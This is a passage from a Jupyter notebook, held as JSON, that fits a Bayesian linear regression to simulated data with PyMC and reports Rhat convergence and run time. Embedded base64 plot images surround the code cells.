M\napiQlZIukbRX0k8kDUq6uNHX6fZSBQ9SuQEqT04CX4iIfwhcB3w+6xuzIuI4cH1ELAV+E7he0sez\nrKnKeuAg+ZktFUApIq6JiGVZF5PYDvyPiPgNKv/+Mm9RRsRfJX9H1wD/BHgX+F6WNUlaCHwWuDYi\nPkylpXtrxjX9I+AO4KPAPwZ+W9KiDEqplZUbgL0RsRh4OnldV1cDPiJ+ALzZzc9sJCJGIuJAsv0O\nlf8ZL8u2KoiId5PNWVT+w/95huUAIOkK4J8D9wFNj+R3QW5qkfQB4BMR8QBUxqQi4u2MyxrvBmA4\nIo40PLKzfkHlAuvCZHLGhcBPsy2Jq4F9EXE8Ik4D3wd+p9tFnCcrbwR2Jts7gZsbfR0vNlYluaK4\nBtiXbSUg6QJJB4BjwDMRcTDrmoD/CPwH4EzWhVQJ4ClJP5T02ayLAa4EfibpQUl/KemPJV2YdVHj\n3Ao8nHUREfFz4BvAX1OZcfdWRDyVbVX8GPhE0g65EFgDXJFxTaPmRsSxZPsYMLfRCQ74hKSLgEeA\n9cmVfKYi4kzSorkCWC6plGU9kn4beCMi9pOjK2bgY0nb4ZNU2mufyLiemcC1wLci4lrgb2niV+lu\nkTQL+BfAf89BLYuAfwcspPJb80WS/lWWNUXEIeDrwCDwBLCffF3QABCV2TEN26QOeEDSe4A/Bf5r\nRDyadT3Vkl/vB4CPZFzKPwVulPQasAv4Z5IeyrgmIuL15J8/o9JTzroPfxQ4GhH/O3n9CJXAz4tP\nAs8nf19Z+wjwvyLibyLiFPBnVP47y1REPBARH4mIFcBbVO7ryYNjkuYBSJoPvNHohGkf8JIE3A8c\njIhvZl0PgKRLR0fIJb0XWEnlSiIzEbEpIhZExJVUfsX/nxHxu1nWJOlCSb+SbL8PWAVkOkMrIkaA\nI5IWJ7tuAF7KsKTxbqPyAzoPDgHXSXpv8v/hDVQG8DMl6YPJPz8EfIoctLMSjwFrk+21QMOL0dRv\ndKpH0i5gBfBrko4Avx8RD3azhho+Bvxr4AVJoyG6MSL2ZFjTfGCnpAuo/BD+TkQ8nWE9teRhFs1c\n4HuVbGAm8N2IGMy2JADWAd9N2iHDwO9lXA9w9ofgDVRmrmQuIn6U/Bb4QyptkL8E/ijbqgB4RNKv\nURkAvjMiftHtAqqy8tLRrATuAXZLuh04DNzS8Ov4Riczs2Ka9i0aM7OicsCbmRWUA97MrKAc8GZm\nBeWANzMrKAe8mVlBOeDNzArKAW9mVlD/HxHoakN3yEL2AAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x113b70410>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "N = 40\n", "X = np.random.uniform(10, size=N)\n", "Y = X*30 + 4 + np.random.normal(0, 16, size=N)\n", "plt.plot(X, Y, \"o\")" ] }, { "cell_type": "code", "execution_count": 252, "metadata": { "collapsed": false }, "outputs": [], "source": [ "multicore = False\n", "saveimage = False\n", "\n", "itenum = 1000\n", "t0 = time.clock()\n", "chainnum = 3\n", "\n", "with pm.Model() as model:\n", " alpha = pm.Normal('alpha', mu=0, sd =20)\n", " beta = pm.Normal('beta', mu=0, sd=20)\n", " sigma = pm.Uniform('sigma', lower=0)\n", " y = pm.Normal('y', mu=beta*X + alpha, sd=sigma, observed=Y)\n", " start = pm.find_MAP()\n", " step = pm.NUTS(state=start)" ] }, { "cell_type": "code", "execution_count": 261, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Rhat={'alpha': 1.0002636216914187, 'beta': 0.99959538672461912, 'sigma': 1.0032735164477551, 'sigma_interval': 1.0323942771051835}\n", "elapsed time=663.205294\n" ] } ], "source": [ "with model:\n", " if(multicore):\n", " trace = pm.sample(itenum, step, start=start,\n", " njobs=chainnum, random_seed=range(chainnum),\n", " progress_bar=False)\n", " else:\n", " ts = [pm.sample(itenum, step, chain=i, progressbar=False) for i in range(chainnum)]\n", " trace = merge_traces(ts)\n", " if(saveimage):\n", " pm.tracepot(trace).savefig(\"simple_linear_trace.png\")\n", " print \"Rhat=\"+str(pm.gelman_rubin(trace))\n", "t1=time.clock()\n", "print \"elapsed time=\" + str(t1-t0)\n", " " ] }, { "cell_type": "code", "execution_count": 263, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA1kAAAGqCAYAAAD5mI6tAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XmYHGd16P/vqapeZ9VotWTZMsY2GGwkDMIBG4QhIAzY\n5JIAfiAgIOB7wUCWm4AJCXZyw5aQ6xASfiYYDAl4AYwj+Nl4iTPEgFdseZNkW7FlW+uMltl6r6pz\n/6iaUWs0o27J3dMz6vN5nn7UtbzVp496uvqtehdRVYwxxhhjjDHGNIbT6gCMMcYYY4wx5lhilSxj\njDHGGGOMaSCrZBljjDHGGGNMA1klyxhjjDHGGGMayCpZxhhjjDHGGNNAVskyxhhjjDHGmAaySpYx\nLSAi60Tkzkbva4wxxjwfdn4ypjGskmWMMcYYY4wxDWSVLGOMMcYYY4xpIKtkGdNEIvIZEdkiIiMi\n8piIvGOa/UIR+YSI/LeIDIrIV0REJu3ztyKyT0SeEpG1Ves/KCIb49f4bxH5aLPflzHGmLnNzk/G\nNJdVsoxpri3AOaraDVwO/JuILJlm33cAZwEvBy4EPlS17VXAZmA+8BXgqqptu4G3xq/xQeD/isiq\nhr4LY4wxxxo7PxnTRFbJMqaJVPVHqrorfn498CSwGtApdv+yqg6p6nPAFcBFVdueUdWrVFWB7wHH\nicii+Lg3qerT8fP/Am4Fzm3amzLGGDPn2fnJmOaySpYxTSQi7xeRB0Vkv4jsB14KLJhm9+eqnj8L\nLK1a3jX+RFXz8dPO+DXeIiJ3i8je+DXOJ7qiaIwxxkzJzk/GNJdVsoxpEhE5Efgm8HGgT1XnAY8C\nMk2REyY9317Ha6SAHxM10VgUv8ZNh3kNY4wxbc7OT8Y0n1WyjGmeDqJmF3sAR0Q+SHSlEKY+yfxv\nEekVkeXAJ4Hr6niNZPzYA4Qi8hbgTc87cmOMMccyOz8Z02ReqwMw5lilqhtF5KvAXUBI1Fb9l0Qn\ntvFHtX8HfgP0AN/hQOfhqfbV+DVGReSTwPVACvhpfBxjjDFmSnZ+Mqb5JOqn2KSDR8N4XgG4wLdU\n9cuTtl8I/BXRH3gI/Kmq3lFPWWOOJSISAi9U1adaHYsx7Sa+Ov89YBHRD8RvqurXRKSP6Ir9icBW\n4F2qOhSXuZRohLUA+KSq3tqK2I1pNjs/GXN0mlbJEhEXeBx4I1Hb3fuAi1R1U9U+Haqai5+fAfxE\nVV9YT1ljjiV2EjOmdeJhq5eo6gYR6SS6Yv8OoiGn96jqV0Tk08A8Vf2MiJwO/AB4JbAMuB04VVXD\nFr0FY5rGzk/GHJ1m9slaDWxR1a2qWgGuJZpbYcJ4BSvWSdRut66yxhxjmndL2RhzWKq6S1U3xM/H\ngE1ElacLgO/Gu32XqOIF0fnoGlWtqOpWovmGVs9o0MbMHDs/GXMUmtknaxkHD/m5jWjCuoPEM4x/\nETiOAx0i6yprzLFCVd1Wx2CMARFZAawC7gEWq+rueNNuYHH8fClwd1WxbUTnLWOOOXZ+MuboNLOS\nVdeVD1W9EbhRRM4F/lVEXlTvC4iIXV0xxpg5SFVn3TDOcVPBHwOfijvtT2xTVa1xzjlom52fjDFm\n7mrEOaqZzQW3A8urlpcTXe2bkqreSVTp64v3q6usqtqjxuPzn/98y2OY7Q/LkeXI8jRzj9lIRBJE\nFax/1ejiH8DuuL8WInIcMBCvn3x+O54p5g1qdZ7nwsP+XixHlifL0Wx7NEozK1n3A6eIyAoRSQLv\nBtZX7yAiJ0t8qVBEXg6gqnvrKWvqt3Xr1laHMOtZjmqzHNXH8jT3xOehq4CNqnpF1ab1wAfi5x8A\nbqxa/x4RSYrIScApwL0zFa8xxpjZr2nNBVXVF5FLgFuIhmG/SlU3icjF8fYrgXcC7xeRCjAGvOdw\nZZsVqzHGmLb2GuB9wMMi8mC87lLgS8D1IvJh4iHcYWKOoeuBjYAPfEwbefnTGGPMnNfUyYhV9Wbg\n5knrrqx6/hXgK/WWNUdn3bp1rQ5h1rMc1WY5qo/lae5R1V8yfcuON05T5gvAF5oWVJtYs2ZNq0OY\n9SxH9bE81WY5mllNnYy42UTELh4aY8wcIyLoLBz4opHs/GSMMXNTo85RzeyTZWaJ/v7+Vocw61mO\narMc1cfyZIwxxhirZBljjDHGGGNMA1lzQWOMMTPKmgsaY4yZray5oDHGGGOMMcbMQlbJagPWR6Q2\ny1FtlqP6WJ7MuE2bwG5mGWNMe7JKljHGGNMEGzZAPt/qKIwxxrSC9ckyxhgzo9qlT9YPfqBccAF0\ndLQ6GmOMMfWaE32yRGStiGwWkSdF5NNTbH+viDwkIg+LyK9E5MyqbVvj9Q+KyL3NjLNdhBpilVJj\njDHGGGOaq2mVLBFxga8Da4HTgYtE5MWTdnsKeK2qngn8NfDNqm0KrFHVVaq6ullxtoPxPiLvuPYd\n/Pq5X7c2mFnK+tHUZjmqj+XJVLPrWsYY056aeSdrNbBFVbeqagW4FriwegdVvUtVh+PFe4DjJx3j\nmG5OMtO2jWxj++j2VodhjDHGGGPMMa2ZlaxlwHNVy9viddP5MHBT1bICt4vI/SLykSbE1zbWrFkD\nwFBxiOHi8OF3blPjOTLTsxzVx/JkjDHGGK+Jx667kYSIvB74EPCaqtWvUdWdIrIQuE1ENqvqnZPL\nrlu3jhUrVgDQ29vLypUrJ37kjDfbseVoeeCxAX7j/IaPnPWRWRGPLduyLbfHcn9/P1dffTXAxPf1\nbCIi3wbeCgyo6hnxusuAPwAG490+q6o3x9suJTpnBcAnVfXWGQ/aGGPMrNa00QVF5GzgMlVdGy9f\nCoSq+uVJ+50J3ACsVdUt0xzr88CYqn510nobXbAO/f39vPZ1r8X7K4/PnvtZ/s95/6fVIc06/f39\nEz8OzdQsR/WxPNU220YXFJFzgTHge1WVrM8Do6r695P2PR34AfBKotYZtwOnqmo4aT/9wQ+Ut70N\nurpm4l0YY4xphLkwuuD9wCkiskJEksC7gfXVO4jICUQVrPdVV7BEJCsiXfHzDuBNwCNNjPWYN1oa\nRVGGikOtDsUYYxouPm+cdjRl41YS+6c67BTrLgSuUdWKqm4FthD1QTbGGGMmNK2Spao+cAlwC7AR\nuE5VN4nIxSJycbzbXwLzgG9MGqp9CXCniGwgGhDjZ9Yc4+itWbOG/cXo98NwyfpkTcXuPNRmOaqP\n5WnmicgFwINE5xtEZJWIrD98qbp8Ip5m5CoR6Y3XLSXqYzyuVn9jY4wxbaiZfbKI26/fPGndlVXP\n/4Cozfvkck8BK5sZW7sZv4Nld7KMMcegy4BXAf8JoKoPisgLnucxvwH8Vfz8r4GvEg3QNJUp263/\n6EeX8fDDkEpFlW+rgBtjzOzT398/0Y+4kZpayTKzQ39/Px2F/+ZFex0bXXAa1o+mNstRfSxPLVFR\n1SGRg1r3hdPtXA9VHRh/LiLfAn4aL24Hllfteny87hC/+7uX8da3Qnf384nEGGNMM02+CHb55Zc3\n5LjN7JNlZpG+79/AV36ZtuaCxphj0WMi8l7AE5FTROQfgec187qIHFe1+Dsc6Be8HniPiCRF5CTg\nFODeyeWNMca0N6tktYE1a9YQjgzzpkeL+EP7Wh3OrGR3HmqzHNXH8tQSnwBeApSAa4AR4A/rLSwi\n1xBVyk4TkedE5EPAl0XkYRF5CHgd8EcAqroRuJ6or/HNwMcON8ytDYBrjDHtyZoLtgkdHQURXvub\nva0OxRhjGkpVc8Bn48fRlL9oitXfPsz+XwC+UOu4jl9GKw52qjXGmPZjd7LaQH9/P87YGI+d91Le\n+UCBUJ9XV4VjUjM6PB5rLEf1sTzNPBH5zyked7Q6rmX334j76ztbHYYxxpgWsMtrbcLJFdj6+2/m\n9b94iLGnn6D7BS9qdUjGGNMof1r1PA28E/BbFMsEJwyQ3FirwzDGGNMCNe9kicgZMxGIaZ41a9bg\n5Qsklizl1jOy+D+8ttUhzTrWj6Y2y1F9LE8zT1Xvr3r8UlX/CFjT6riKYY5CpdDqMIwxxrRAPc0F\nvyEi94nIx0Skp+kRmaZI5Utk+haxfWkX/rPPtDocY4xpGBHpq3osEJG1QMsHTn+29BAbBx9udRjG\nGGNaoGYlS1XPAd4LnAA8ICLXiMib6jm4iKwVkc0i8qSIfHqK7e8VkYfiEZx+JSJn1lvW1K+/v59U\noULnvCVoRwf+yP5WhzTrWD+a2ixH9bE8tcQDwG/ix13AnzD9xMEzSq0PrDHGtKW6+mSp6hMi8jng\nfuBrwEoRcYDPquqPpyojIi7wdeCNRBM13ici61V1U9VuTwGvVdXh+MrjN4Gz6yxrjkC2GNA5/zjo\n6iLYOdLqcIwxpmFUdUWrY5hWaGO4G2NMO6pZyRKRlwHrgLcBtwFvU9UHRGQpcDcwZSULWA1sUdWt\n8XGuBS4EJipKqnpX1f73AMfXW9bUb82rX40fKj29i3G6u9EnrJI1mfWjqc1yVB/L08wRkXcCh5mj\nSm+YwXCmjiG0O1nGGNOO6rmT9TXgKuDPVTU/vlJVd8R3t6azDHiuankb8KrD7P9h4KajLGsOZ2yM\n0STMy/bhdfXC2GCrIzLGmEZ4O4epZAEtr2TZbMTGGNOe6qlkvRUoqGoAE80A06qaU9XvHaZc3WcW\nEXk98CHgNUda1tR2289v4rQULE904PX04ozlWh3SrNPf3293IGqwHNXH8jRzVHVdq2OoRe10Zowx\nbameStbtRH2jxif7yAK3AK+uUW47sLxqeTnRHamDxINd/AuwVlX3H0lZgHXr1rFixQoAent7Wbly\n5cQPnPEO6O2+XBjeSyHl8otf/IKntudx84VZFZ8tz43lDRs2zKp4ZuvyuNkSz2xY7u/v5+qrrwaY\n+L5uNBF5G3A60TxZAKjqXzXlxY6AWp8sY4xpS6I1mjKIyAZVXVlr3RTlPOBx4A3ADuBe4KLqwStE\n5ATgDuB9qnr3kZSN99Na8Rt49ufXse+jH+A/PlXkuBf+DW/66JdYsHu01WEZY9qUiKCq0sDjXQlk\ngPOILtr9HnCPqrZshEER0e98+BKWr0jyhs99tVVhGGOMOUKNOkfVM09WTkTOqnrhVwA1Z1dUVR+4\nhOiu10bgOlXdJCIXi8jF8W5/CcwjmovrQRG593Blj+B9mSr5/QPkkkn+6Z8gM28hyUK51SEZY0wj\nvVpV3w/sU9XLgbOB0+otLCLfFpHdIvJI1bo+EblNRJ4QkVtFpLdq26Xx9CKba01pYgNfGGNMe6qn\nkvWHwPUi8ksR+SVwHfCJeg6uqjer6mmq+kJV/WK87kpVvTJ+/geqOl9VV8WP1Ycra47OnXffSz6Z\n5umnIfQWkyr6rQ5p1pnc1MscynJUH8tTS4xf+MuLyDLAB5YcQfnvAGsnrfsMcJuqngr8R7yMiJwO\nvJuoaeJa4J/jKU2mZPNkGWNMe6rZJ0tV7xORFxNdFVTgcVWtND0y0zCVsRFyXhaAbTsX4gYh+D54\ndU2TZowxs93PRGQe8LdEExJD1GywLqp6p4ismLT6AuB18fPvAv1EFa0LgWvi8+BWEdlCNO3I3UzF\nmrQbY0xbqvdX9iuAk+L9Xx63VTzcyIJmFjlzfoZnJMvChbD18XnkUw7duRz09LQ6tFljvLO+mZ7l\nqD6Wp5lXNcDFj0Xk/ycaAXfoeR52sarujp/vBhbHz8fniBy3jWjakaljs4EvjDGmLdUzGfG/AS8A\nNgBB1SarZM0R/vAQo3Rx/vnwxMM9jCWhe3TUKlnGmGOCiDwMXEvUf/e/gWIjj6+qKiKHqy1Nue3G\nB+6h60n49WWXsWbNGquAG2PMLNTf39+Upv713Mk6CzjdhvGbux7Y8hzlYCnnnw//+9JeRhMKY2O1\nC7aRfpvbqCbLUX0sTy1xAVE/qevjytC1wPWq+uzzOOZuEVmiqrtE5DhgIF4/eYqR4+N1h3jHWb/F\ncceFvPmyy55HGMYYY5pp8kWwyy+/vCHHrWfgi0eB4xryaqY18nn2lXo55xwY2pNhLKmUh/a1Oipj\njGkIVd2qql9W1bOAi4Azgaef52HXAx+In38AuLFq/XtEJCkiJwGnEE0zMgWZ5h6XMcaYY109d7IW\nAhvj4dVL8TpV1QuaF5ZppFVp+H6xj0WL4KyXC4WtHrn9u0m2OrBZxO481GY5qo/lqTXigSveDbyL\nqGn7nx1B2WuIBrlYICLPEU0v8iWiO2MfBrbGx0VVN4rI9UTTi/jAx6Zr6aHSsKnAjDHGzDH1VLIu\ni/9VQKqemznCGc3jJ+bjeXDWWZDbnqSwf5B5rQ7MGGMaQETuAZLA9cDvqepTR1JeVS+aZtMbp9n/\nC8AXagfm2MnSGGPaVM3mgqraT3QVLxE/vxd4sKlRmYZ6eGAMp2MhAK94BYy5KQpDgy2OanaxuY1q\nsxzVx/LUEh+I51r84pFWsJpJrLmgMca0rZqVLBH5KPBD4Mp41fHAT+o5uIisFZHNIvKkiHx6iu0v\nEpG7RKQoIn8yadtWEXlYRB6Mmyqao5QoV0h0R6MPn3UWDJOmNLy3xVEZY0xjqOrmVscwFWsuaIwx\n7auegS8+DpwDjACo6hPAolqFRMQFvg6sBU4HLoonNa62F/gE8HdTHEKBNfHVydV1xGmmcQ4hHX1L\nADj5ZBgly+guG/iimvWjqc1yVB/LkxknYhO+G2NMu6qnklVS1fEBL5DorFFPA4jVwJZ41KcK0ZC6\nF1bvoKqDqno/UJnmGHYZ8HlSVTpKAb2LogEiHQfCbCf7tj/feTqNMcYcTinbHZ0sbcoMY4xpO/VU\nsn4hIn8OZEXkt4maDv60jnLLgOeqlrfF6+qlwO0icr+IfOQIypkq+Uqeh/PQt2z+xLow00llaLiF\nUc0+1o+mNstRfSxPM09EOkTkL0TkX+LlU0Tkba2Oy5VEdCbz/VaHYowxZobVU8n6DDAIPAJcDNwE\nfK6Ocs+3u+9rVHUV8Bbg4yJy7vM8XlsaKg6R8aF3edfEujDTY1dWjTHHku8AZeDV8fIO4G9aF07E\nQdi9GwYHrJJljDHtpmaDcVUNgG/GjyOxHVhetbyc6G5WXVR1Z/zvoIj8hKj54Z2T91u3bh0rVqwA\noLe3l5UrV070iRi/otzOy88MbuG9Cv+xPD2x3enqwRl4albEN1uW16xZM6vimY3L4+tmSzy2PHeW\n+/v7ufrqqwEmvq8b7GRVfZeIvAdAVXMyiwadeOaZEgtPbXUUxhhjZpJMM4figR1Enp5itarqC2qU\n84DHgTcQXVW8F7hIVTdNse9lwKiqfjVezgKuqo6KSAdwK3C5qt46qdx0c0Ca2H2P3MILX/lWnrnb\nZ+XKaN3X1n2c0+76GW9+/JnWBmeMaUsigqo2rBYkIr8mOtf8WlVXicjJwDWtHDRJRPSqP/lbnKFn\nWPH2P2bNhSe1KhRjjDFHoFHnqHqaC76y6nEu8A/A92sVUlUfuAS4BdgIXKeqm0TkYhG5GEBElojI\nc8AfAZ8TkWdFpBNYAtwpIhuAe4CfTa5gmfoU9g9wqzgsXnxgXWrefFKlQuuCmoXGr7qb6VmO6mN5\naonLgJ8Dx4vID4A7gEOmDWkFEY+9IzaaqzHGtJt6mgvumbTqChF5APiLOsreDNw8ad2VVc93cXCT\nwnFjwMpaxze15fcMUHA8Fi48sK5rwQLS5dL0hYwxZg5R1Vvj89LZ8apPTnHumnkakvS62Z+z0VyN\nMabd1KxkichZHBjEwgFeAbjNDMo0ztDOvbwk3YFX9T8977iFdJTLrQtqFqrud2SmZjmqj+Vp5kw6\nPwHsjP89QUROUNUHWhDWBFVYutTjsVKAKsyibmLGGGOarJ6ZEr/KgZOYD2wF3tWsgExjDe/eSz6Z\nOWjdgmWL6KjYaFfGmDmv+vw0ldfPVCBTyaSVhYsc3HJIqQTpdCujMcYYM5PqaS64ZgbiME1S3DPE\nPSG8rmrdcScuIenbldVq1aPmmalZjupjeZo5M3F+EpGtwAgQABVVXS0ifcB1wInEFx5VdYo2gYp4\nHikNKBSskmWMMe2knuaCf8KhVwrHf5qrqv59w6MyDVMZGiJIHXwna+HSpQRlZWRE6emxWpYxZm4T\nkQzwMeAcovPVncA3VLXYgMMrsEZVq0ev+Axwm6p+RUQ+HS9/5pC4UHBckkkln4d58xoQjTHGmDmh\nntEFzwL+F7AMOB74n8DLgU6g6zDlzCygoyO8dMHSg9alunpJBbB9R65FUc0+duehNstRfSxPLfE9\n4HTga8DXgZcA/9rA40++GnUB8N34+XeBd0xZShVxXdKJkIIN6GqMMW2lnj5Zy4GXq+oogIh8HrhJ\nVd/b1MhMQzhjY9C56OCVIuQSwvZndnL6i09pTWDGGNM4L1HV06uW7xCRjQ06tgK3i0gAXKmq/wIs\nVtXd8fbdwOIpS0p8J8uzSpYxxrSbeipZi4BK1XIlXmfmAK+YY6MUefuk9WNJh4FtOwGrZIH1o6mH\n5ag+lqeWeEBEfktV7wIQkbOB3zTo2K9R1Z0ishC4TUQ2V29UVRWRKQff+NF//Qe/ejzNsNvFb+3r\n5Ywz1jQoJGOMMY3S39/flDku66lkfQ+4V0RuIGoy8Q4ONJMws1y6lEcXHdqqM5/02Ldz9xQljDFm\nznkF8Kt4cnsFTgAeF5FHiOpBZx7tgVV1Z/zvoIj8BFgN7BaRJaq6S0SOAwamKvt757yeVavmsyuz\nCO1ec7QhGGOMaaI1a9YcdHH08ssvb8hx6xld8G9E5OdEHYoB1qnqgw15ddN0HaUCZ61cdcj6fDLJ\n6J4pfxe0JbvzUJvlqD6Wp5ZY24yDikgWcFV1VEQ6gDcBlwPrgQ8AX47/vXHqI0TNBRNewFC+GREa\nY4yZreoZ+AIgC4yq6j8A20TkpHoKichaEdksIk/GIzBN3v4iEblLRIrxKIZ1lzX16auUmP+CJYes\nL6WSFPbtbUFExhjTWKq6FRgGuoG+8Yeqbo23Ha3FwJ0isgG4B/iZqt4KfAn4bRF5AjgvXj6UgOO6\npDy1PlnGGNNmalayROQy4M84MDxtEvi3Osq5RKM8rSUa9ekiEXnxpN32Ap8A/u4oypo69JYrPD56\naGWqnM5QmWJ9u2pGW9xjjeWoPpanmScifw08DPwj0QTF44/nRVWfVtWV8eOlqvrFeP0+VX2jqp6q\nqm+aeo4sAEVcD9cJSKdh167nG5Exxpi5op4+Wb8DrCLuRKyq20WknqHbVwNbxq8iisi1wIXApvEd\nVHUQGBSRtx5pWVNbEAb05EOK8+Yfui2bIRzb34KojDGm4d4NnKyq5VYHUk1UwXUQVRYuhJzNmmGM\nMW2jnuaCJVUNxxfidun1WAY8V7W8LV7X7LImNlIaYX5ROO/Nh3ZX0I4OKExz8bUNWT+a2ixH9bE8\ntcRjwOyc6td1kVIJ14UgaHUwxhhjZko9d7J+KCJXAr0i8lHgQ8C36ig35ZC2daq77Lp161ixYgUA\nvb29rFy5cuJHzniznXZdvuX2W+jLKUv6+g7ZLt2dbN/y7EHDTbc6Xlu2ZVs+Npf7+/u5+uqrASa+\nrxvsC8CDIvIoUIrXqape0IwXq5dqiH/CchK/+iXSuZcge2irAmOMMccmUZ2+PiMiQjQZ8YuIRlUC\nuEVVb6t54GiekstUdW28fCkQquqXp9j388CYqn71SMqKiB4u/nb3yNP3cOqpv8Vdt90x8cNn3F3v\neyu3PLyLyx5u1FQyc1u/zW1Uk+WoPpan2kQEVZUGHm8T8A3gUWC85YWq6i8a9RpHEZNe92d/wRn/\n8+2M7XyGBQ91kjvnzbz0jIa9bWOMMU3QqHNUPXeyblLVlwK3HuGx7wdOEZEVwA6iNvMXTbPv5Ddy\nJGXNNAqDOxjtmPq/ODO/l0xlC6ogds43xsxtY6r6tVYHMZmiCEJx2WKcTSWc7c/BGSe0OixjjDEz\n4LCVrHgm+9+IyGpVvfdIDqyqvohcAtwCuMBVqrpJRC6Ot18pIkuA+4iG3Q1F5FPA6ao6NlXZI397\n7a00sJNcZ2rKq+rJ+X3MC3OMjEBPz8zHNtvYnYfaLEf1sTy1xJ0i8kWi+avGmwuiqg+0LiQAxXFc\nAMLFxyHDQ0TzJBtjjDnW1XMn62zgfSLyDDA+NpKq6pm1CqrqzcDNk9ZdWfV8F1FzxLrKmiNTGtxF\noSs95bbE4qUs8nPs3WuVLGPMnPdyor68Z09a//oWxFJFccRBVZGebtixtbXhGGOMmTHTji4oIuOX\n294MvIBowsW3x4+WdiY29fH3DVLqzk50QK+WXLKMhaUSe/bMfFyz0VQ5MgezHNXH8jTzVHWNqr5+\n8qPVcQkgTlzJ6siieZuR2Bhj2sXh7mT9O7BKVbeKyI9V9Z0zFZRpjHDvHio9U09plll6AgsKZf7b\nKlnGmGOAiLyNaPL6idv3qvpXrYsIUEXEQVGcbBqKxZaGY4wxZubUM08WRHeyzFyzfwi/p3vKPiId\nS1ewoBCwd+/MhzUbWT+a2ixH9bE8zbx4mpF3AZ8kuoH0LuDElgYFoAeaCzqZFFoq1S5jjDHmmFBv\nJcvMQc7+IbRv6vk5s4uPp6cIu3flZzgqY4xpuFer6vuBfap6OVHfrNNaHBMQRs0FURIZjzAAyuVW\nB2WMMWYGHK6SdaaIjIrIKHDG+PP4MTJTAZqj5w2PIvPmTdlHRDyP/RlhaNvTMx/YLGT9aGqzHNXH\n8tQS452d8iKyDPCBJc18QRFZKyKbReRJEfn0lPtwoE9WJgNDPSfCzTfDs882MzRjjDGzwLSVLFV1\nVbUrfnhVz7tUtXsmgzRHJzk8htu3YNrt+zo8SrvsZG+MmfN+KiLzgL8FHgC2Atc068VExAW+Dqwl\n6gd2kYi8+NA9o3myALJZ2Ll8Nfqac+CRR2D9egjDQ4sYY4w5JtQzhLuZo9KjBRILFk/bR2SoM0m4\n1ypZYP1o6mE5qo/laeap6l/HT38sIj8D0qo63MSXXA1sUdWtACJyLXAhcMh8jo7joiiuC54Hz+bm\nc+L558MNN0A+D52dVMpKUPJJdSYI1KfoF/Ecj6STwFGgUoFEAnyfQpjCcSCsBGQ0Lu8HlMpCwnNJ\npeIX9v2v/RViAAAgAElEQVToBePi5aE82W4PSSUn1gW+4lAgTDgIQsJN4AQheB7loEzCSSBBQOg6\nhKMj+KkOUsnxnw1CpQLJ6HCoQq4yRsbLoKE7/tIEgaIonutQCSqEGuJJCleiCmboV8BLIaL4QUgY\n+HiVgDCVxaPCcJCjK9mF67gUKkUyiTRBGOJIVHkNNcQdn4ssDHDKFTSZoliCTCbap1Ap4IhDueiR\nTYKbcNi3X0gkAkZ1F9lkB73pXiiVUNdDPDdOoc/Q3h10z1+MIwlyhVFSXpJ0OoMqDA+V8JM5sjKP\ndFoIAnAcpVyO/ru8oEzoOpTUJ+lkyBUqZNIunuuAKqV8gJtySSRk4vMSBBCEIQnPoZQPSKQcFMFx\noBKWcEjguQ5BycdLe6iCaEipLGwbLFDOJzn1ZBdxhFIQ5QsgDJSQEA1dyju34WZcnL75JJwkuX0l\nOntc1PUYGoKODgilwO7cAIsyy3DcgJSTQBFyu0ZJp0GzHeQKDtnOkBCf0VzAwiSMjBUJkr10djiE\nhRLhaA4nkyJMpAhUSXe4uCIoQsUPSCZcRKJWtGEITqJMohLiew4iLvtHyiSdDKkUhG6etJfGUSgH\n4BYLSCaDs28PZLOoOEg2E332h4bAddGubgL1KRRG6UhkcZIpAvGiz58IQRjlPggDgqBMKpFGJUQ1\nxBsejZKRSk38PQVhQK6SI+N2UKoEdGaSUCigQYB2ZKkEFTxJ4oc+pSBPNtmB+AG+pkgmo/cpGuIm\nFRFhf2E/fZk+AIqVMr5fpCIBXYleEg7gOIQhBOWA0tA+OubPI18pUaFEV7oXUAINSLpJwkDjz4lP\nsVKhPJahNDLI/E6XVE8nFfXwEoK4VfdX4gs9PiGVoEImkSGfh2JuF65fYjSdYV5yIarQ2Sn4oY8f\n+niaQipl3GyKaqrRw3GqvoNUqYyNIICT6sDxHHAc/KEx1HNIZNNRgWIRkknU95HxL5ZJKuUi4nm4\n6jCWV7q6XEql6DXTiQBfXRxCQhw8D8pBGTdQ3GQqymPJx0m4uH6JcsIh6Ub/Vy4O5HJUki7JVHbK\n1z4aVsk6hmXHijgLFk+7faQ7gzO8YwYjMsaYxhGR1cBzqrozXv4A8E5gq4hcpqr7mvTSy4Dnqpa3\nAa86ZC+NfkipKgCrV8N//ZfykzsfZ+mjgwxuv52egWdwR0bwAp9KGJDLQko8grBAWPBJaZnQy+L5\nAbiC7yYZ7u2jd3+ezoyD+jBUHMItl5FsN8kQVCt4GqIoZXVJqUteK6QkZCyTInRc0hXwKiVCp0gQ\nJvGBBJBEqKTSBE4eKVVIOB4qilQCiurhJUIklaBcSZBI9pFwfNz8CGOSIFHZRyl0SQaKdHYhhREq\n4uEEZZLZpQxnSszLj1Iq+KS8TqBEKSwRSBLHDci7KbwQksUiJFxSboWylyCjDsNuGt8v42kKr5LH\n1YBkZ4JSsQy9y9DSKE6Yg4IDCL74hJ5LqiJoJqCER1gI6PRdSilBXYdEWGRRd5qBbJLMWAcyMkSh\nXKLiOohU0EpA2skwlgxwyj4pTYD4lLpSeAUfrZQJk92UXcXVAAkC3ITil5VExcdNuZAQ6O2kY9hl\nwM+T8H0SqjiBQ4jid3r0JjsZy+Xxu9KEFYfE6CBOJo0UKoRhiDhZPBVKUsB3HJLi4YTQmYaxXEAy\nLfhhAs8pEjoum8IEeR+KWqRLHCrSCZVhSikhIIEbgkcFX5WU9ODhUdFhAtfFSyYpkKajsA/VJBV/\nlESXR7KUwHXSjIYBjpsgXa7geMoQRXzPI1GuIH6Am0hSSLloIGTzJRyJ/j+UgACf0E3iqENChSJl\nBCXjumjnCiqe4A09QcJzKOIQOB4iDsnQp1IK8QnxHPBCYV+2k3n5Ek4oqBeQ8oRyJYO6Y2gQUu7u\nJONlKQ3swktEzbb8EBwcRtOd9IU+eA6VXJlc0iWlSbQ8QkrSBFLB9Xw0TCNOiAtU/DKSTKBhgC8J\n/DAkcF16xaMSgE8RxwUfD0o+bugjDmgIjuOQ6+ggUQzI0gn+GKOuTzaVpuIXkHKFQu8CnLFREpUK\nyTQEYTeZs